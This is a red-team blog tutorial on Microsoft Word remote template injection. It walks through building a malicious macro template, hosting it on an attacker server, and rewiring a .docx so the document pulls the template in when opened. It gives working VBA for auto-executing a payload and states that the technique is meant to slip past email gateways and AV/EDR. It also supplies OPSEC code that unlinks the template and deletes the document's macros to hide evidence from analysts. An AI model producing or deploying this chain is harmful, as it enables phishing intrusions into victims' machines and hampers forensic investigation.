This blog post is a clone of my upcoming redteam gitbook project that I'm currently working on. Link TBD...
The purpose of this page is to briefly explain what Remote Template Injection is, and actually create a PoC based on the technique.
Remote Template Injection
Microsoft Word has a feature where a user can create a document with a template. Whenever a Word document with a template is being written/read, this templates are being downloaded/used from the local, or remote machine. Thus, the attackers can host a Word Document Template file (.dotm) with malicious macros on their servers. Whenever the victim opens the Word Document, the Document will fetch the malicious template from the attacker's server, and execute it.
The advantage of this technique is that the actual decoy Word document that touches the disk of the victim and read is not malicious. Thus, the chances of the attachment bypassing Email Gateways and/or host AV/EDR solutions increases than the traditional malicious Word Document.
The big-picture methodology is the following:
- Create a .dotm Template file with malicious macro which will execute the payload.
- Host this .dotm Template file in the attacker's server
- Create a .docx Word Document using one of the template.
- Rename the .docx file to .zip and unzip the file and replace
./word/_rels/settings.xml.relswith the address of the #2.
- Re-zip the files and rename the .zip to .docx
First, create an empty document. Then, using
Alt+F8 , view Macros. Make sure to select Document1 when first creating the macro. Then, give a random Macro name and click Create.
Create a PoC macro. For this gitbook, a Covenant Grunt's Powershell Launcher payload was used. You can use any PoC payload;
calc , or
notepad would also work.
Sub AutoOpen() a End Sub Sub Document_Open() a End Sub Sub a() Dim wsh As Object Set wsh = CreateObject("WScript.Shell") wsh.Run "<your_payload>" Set wsh = Nothing End Sub
After that, press the "Run" button, or
F5 for sanity check. If the payload has executed, our macro is good to go.
Make sure to erase all metadata using Document Inspector. Metadata to look out for is the Document Properties and Author Information.
File ==> Info ==> Check for Issues ==> Inspect Document ==> Inspect ==> Erase
Then, save the template file as a
Now, create another new document, and select a default template. I used a resume template, but the type of the template does not matter. Save the file as
.docx file. Find the
cd <document_path> mv <name>.docx <name>.zip expand-archive ./<name>.zip
Depending on the version of the Microsoft Word, the location might be different. In my case, it was in
Open that file in a text editor, and change the
Target to the URL where the Template file is hosted.
After that, save the file, re-zip the all the files using
Compress-Archive or by GUI, and rename the file into
.docx again. Make sure to zip the files, not the <name> directory itself.
Use the document inspector again, but only delete author name, etc. Don't delete XML data.
Then, open the document, and click on "Enable Content". Enjoy the payload being executed.
Unlinking and OPSEC
After the remote template file is downloaded, the macro is left inside the
.docx file. This is bad for OPSEC reasons, as word document macros can be deobfuscated, which will reveal additional network based indicators to the analysts.
This section's unlinking/self-deleting code is from John Woodman - https://email@example.com/vba-macro-remote-template-injection-with-unlinking-self-deletion-49aef5eec0cd The article goes in-detail about what the code does.
In short, the additional code first tries to unlink the current malicious template, and link the document with a
Normal.dotm default template, which can be found in all Windows machine that has Word installed. If there are any errors during the process, the "fail-safe"
DeleteVBAProject function will delete all of the VBA script that exists in the document.
The Final Macro - Notice the
unlink function being called in both
Sub AutoOpen() a unlink End Sub Sub Document_Open() a unlink End Sub Sub a() Dim wsh As Object Set wsh = CreateObject("WScript.Shell") wsh.Run "<your_payload_here>" Set wsh = Nothing End Sub ' Replace current template with Normal.dotm template. If error, execute Destroy. Sub unlink() Application.DisplayAlerts = False On Error GoTo Destroy ThisDocument.AttachedTemplate.Saved = True CurrUser = Application.UserName tmpLoc = "C:\Users\" & CurrUser & "\AppData\Roaming\Microsoft\Templates\Normal.dotm" ActiveDocument.AttachedTemplate = tmpLoc ActiveDocument.AttachedTemplate.Saved = True ThisDocument.Saved = True ActiveDocument.Saved = True ThisDocument.Close savechanges:=False Exit Sub Destroy: Call DeleteVBAPROJECT ThisDocument.Saved = True ActiveDocument.Saved = True ActiveDocument.AttachedTemplate.Saved = True ThisDocument.Close savechanges:=False End Sub Sub DeleteVBAPROJECT() Application.DisplayAlerts = False Dim i As Long On Error Resume Next With ThisDocument.VBProject For i = .VBComponents.Count To 1 Step -1 .VBComponents.Remove .VBComponents(i) .VBComponents(i).CodeModule.DeleteLines _ 1, .VBComponents(i).CodeModule.CountOfLines Next i End With On Error GoTo 0 ThisDocument.Saved = True ActiveDocument.Saved = True End Sub
Now, open the document. We can see a grunt calling back.
However, if we go back to the original document and check the Macro for all documents and templates, we see that all of the macros are gone.
John Woodman's article says that the actual code of the template cannot be viewed, even before and after the "Enable Content" button is pressed. However, I was able to view all of the VBA Script before pressing the "Enable Content" button. I do not have different versions of Microsoft Word to test this, but this is something worth confirming.